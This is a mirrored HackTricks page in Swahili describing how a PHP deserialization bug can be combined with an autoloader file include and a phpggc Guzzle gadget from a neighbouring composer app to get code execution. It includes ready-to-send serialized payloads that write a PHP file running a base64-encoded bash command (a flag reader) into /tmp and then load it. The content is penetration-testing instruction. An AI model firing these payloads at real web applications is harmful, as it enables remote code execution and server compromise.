mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
5.4 KiB
Markdown
65 lines
5.4 KiB
Markdown
# PHP - Deserialization + Autoload Classes
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Kwanza, unapaswa kuangalia ni nini [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
|
|
|
## PHP deserialization + spl_autoload_register + LFI/Gadget
|
|
|
|
Tuko katika hali ambapo tumepata **PHP deserialization katika webapp** bila **maktaba** inayoweza kuathiriwa na gadgets ndani ya **`phpggc`**. Hata hivyo, katika kontena hiyo hiyo kulikuwa na **webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa**. Kwa hivyo, lengo lilikuwa ni **kuchaji loader ya composer ya webapp nyingine** na kuitumia ili **kuchaji gadget ambayo itatumia maktaba hiyo kwa gadget** kutoka kwa webapp inayoweza kuathiriwa na deserialization.
|
|
|
|
Hatua:
|
|
|
|
- Umepata **deserialization** na **hakuna gadget** katika msimbo wa sasa wa app
|
|
- Unaweza kutumia **`spl_autoload_register`** kama ifuatavyo ili **kuchaji faili yoyote ya ndani yenye kiambishi cha `.php`**
|
|
- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini **msimbo** unabadilisha **michoro** ("\_") **kuwa slashes** ("/"). Hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulichaji.\
|
|
Mfano wa **gadget** utakuwa: **`O:10:"tmp_passwd":0:{}`**
|
|
```php
|
|
spl_autoload_register(function ($name) {
|
|
|
|
if (preg_match('/Controller$/', $name)) {
|
|
$name = "controllers/${name}";
|
|
} elseif (preg_match('/Model$/', $name)) {
|
|
$name = "models/${name}";
|
|
} elseif (preg_match('/_/', $name)) {
|
|
$name = preg_replace('/_/', '/', $name);
|
|
}
|
|
|
|
$filename = "/${name}.php";
|
|
|
|
if (file_exists($filename)) {
|
|
require $filename;
|
|
}
|
|
elseif (file_exists(__DIR__ . $filename)) {
|
|
require __DIR__ . $filename;
|
|
}
|
|
});
|
|
```
|
|
> [!TIP]
|
|
> Ikiwa una **file upload** na unaweza kupakia faili yenye **`.php` extension** unaweza **kutumia kazi hii moja kwa moja** na kupata tayari RCE.
|
|
|
|
Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa ndani ya **container hiyo hiyo** ukurasa mwingine wa mtandao wa composer wenye **maktaba iliyo hatarini kwa `phpggc` gadget**.
|
|
|
|
- Ili kupakia maktaba hii nyingine, kwanza unahitaji **kupakia loader ya composer ya hiyo programu nyingine** (kwa sababu ya ile ya programu ya sasa haitafikia maktaba za nyingine.) **Kujua njia ya programu**, unaweza kufanikisha hii kwa urahisi sana na: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Katika kesi yangu, loader ya composer ilikuwa katika `/www/frontend/vendor/autoload.php`)
|
|
- Sasa, unaweza **kupakia** loader za **program nyingine**, hivyo ni wakati wa **`kuunda phpgcc`** **payload** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**.
|
|
- KUMBUKA: **gadget iliyoundwa haikufanya kazi**, ili ifanye kazi nilifanya **mabadiliko** kwenye payload hiyo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka private hadi public**. La sivyo, baada ya deserializing string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.
|
|
- Sasa tuna njia ya **kupakia loader za programu nyingine** na kuwa na **phpggc payload inayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika**. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama:
|
|
- Unaweza kuona **kwanza loader ikipakiwa na kisha payload**
|
|
```php
|
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
|
```
|
|
- Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti**. Hivyo, kama unavyoona katika payload, PHP inaita **`system`** na **base64** fulani inaundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kurudia aina ya kwanza ya payload** ambayo tulitumia kama LFI ili kupakia mzigo wa composer wa programu nyingine ya wavuti **kupakia faili iliyoundwa `/tmp/a.php`**. Ongeza tu kwenye gadget ya deserialization:
|
|
```php
|
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
|
```
|
|
**Muhtasari wa payload**
|
|
|
|
- **Pakia autoload ya composer** ya webapp tofauti katika kontena moja
|
|
- **Pakia gadget ya phpggc** ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyo hatarini na deserialization haikuwa na gadget yoyote kwenye maktaba zake)
|
|
- Gadget hiyo itaunda **faili yenye payload ya PHP** ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote)
|
|
- Sehemu ya mwisho ya payload yetu itatumia **pakiwa faili ya php iliyozalishwa** ambayo itatekeleza amri
|
|
|
|
Nilihitaji **kuita hii deserialization mara mbili**. Katika majaribio yangu, mara ya kwanza faili ya `/tmp/a.php` ilizalishwa lakini haikupakiwa, na mara ya pili ilipakiwa vizuri.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|